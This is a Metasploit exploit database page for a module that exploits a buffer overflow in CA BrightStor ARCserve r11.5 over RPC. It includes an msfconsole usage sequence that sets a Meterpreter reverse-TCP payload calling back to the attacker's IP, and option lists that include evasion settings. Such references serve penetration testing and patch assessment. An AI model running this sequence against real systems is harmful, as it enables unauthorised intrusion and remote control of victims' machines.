Computer Associates ARCserve REPORTREMOTEEXECUTECML Buffer Overflow | Metasploit Exploit Database (DB)

Computer Associates ARCserve REPORTREMOTEEXECUTECML Buffer Overflow

This module exploits a buffer overflow in Computer Associates BrighStor ARCserve r11.5 (build 3884). By sending a specially crafted RPC request to opcode 0x342, an attacker could overflow the buffer and execute arbitrary code. In order to successfully exploit this vulnerability, you will need set the hostname argument (HNAME).

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Exploit Rank

  • Average

Exploit Authors

  • Nahuel Cayento Riva < >
  • MC < mc [at] metasploit.com >

Vulnerability References


Exploit Targets

  • 0 - Computer Associates BrighStor ARCserve r11.5 (build 3884) (default)

Exploit Development


Similar Exploit Modules


Exploit Usage Information

$ msfconsole

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####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##
## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##
##   ##  #### ###   #####   #####     ##   ####   ####   #### ###
                                      ##

msf > use exploit/windows/brightstor/ca_arcserve_342
msf exploit(ca_arcserve_342) > show payloads
msf exploit(ca_arcserve_342) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(ca_arcserve_342) > set LHOST [MY IP ADDRESS]
msf exploit(ca_arcserve_342) > set HNAME [STRING]
msf exploit(ca_arcserve_342) > set RHOST [TARGET IP]
msf exploit(ca_arcserve_342) > exploit


Exploit Module Options

HNAME The NetBios hostname of the target.
RHOST The target address
RPORT The target port (default: 6504)
CHOST The local client address
CPORT The local client port
ConnectTimeout Maximum number of seconds to establish a TCP connection
ContextInformationFile The information file that contains context information
DCERPC::ReadTimeout The number of seconds to wait for DCERPC responses
DisablePayloadHandler Disable the handler code for the selected payload
DynamicSehRecord Generate a dynamic SEH record (more stealthy)
EnableContextEncoding Use transient context when encoding payloads
NTLM::SendLM Always send the LANMAN response (except when NTLMv2_session is specified)
NTLM::SendNTLM Activate the 'Negotiate NTLM key' flag, indicating the use of NTLM responses
NTLM::SendSPN Send an avp of type SPN in the ntlmv2 client Blob, this allow authentification on windows Seven/2008r2 when SPN is required
NTLM::UseLMKey Activate the 'Negotiate Lan Manager Key' flag, using the LM key when the LM response is sent
NTLM::UseNTLM2_session Activate the 'Negotiate NTLM2 key' flag, forcing the use of a NTLMv2_session
NTLM::UseNTLMv2 Use NTLMv2 instead of NTLM2_session when 'Negotiate NTLM2' key is true
Proxies Use a proxy chain
SMB::ChunkSize The chunk size for SMB segments, bigger values will increase speed but break NT 4.0 and SMB signing
SMB::Native_LM The Native LM to send during authentication
SMB::Native_OS The Native OS to send during authentication
SMB::VerifySignature Enforces client-side verification of server response signatures
SMBDirect The target port is a raw SMB service (not NetBIOS)
SMBDomain The Windows domain to use for authentication
SMBName The NetBIOS hostname (required for port 139 connections)
SMBPass The password for the specified username
SMBUser The username to authenticate as
SSL Negotiate SSL for outgoing connections
SSLVersion Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
VERBOSE Enable detailed status messages
WORKSPACE Specify the workspace for this module
WfsDelay Additional delay when waiting for a session
DCERPC::fake_bind_multi Use multi-context bind calls
DCERPC::fake_bind_multi_append Set the number of UUIDs to append the target
DCERPC::fake_bind_multi_prepend Set the number of UUIDs to prepend before the target
DCERPC::max_frag_size Set the DCERPC packet fragmentation size
DCERPC::smb_pipeio Use a different delivery method for accessing named pipes (accepted: rw, trans)
SMB::obscure_trans_pipe_level Obscure PIPE string in TransNamedPipe (level 0-3)
SMB::pad_data_level Place extra padding between headers and data (level 0-3)
SMB::pad_file_level Obscure path names used in open/create (level 0-3)
SMB::pipe_evasion Enable segmented read/writes for SMB Pipes
SMB::pipe_read_max_size Maximum buffer size for pipe reads
SMB::pipe_read_min_size Minimum buffer size for pipe reads
SMB::pipe_write_max_size Maximum buffer size for pipe writes
SMB::pipe_write_min_size Minimum buffer size for pipe writes
TCP::max_send_size Maxiumum tcp segment size. (0 = disable)
TCP::send_delay Delays inserted before every send. (0 = disable)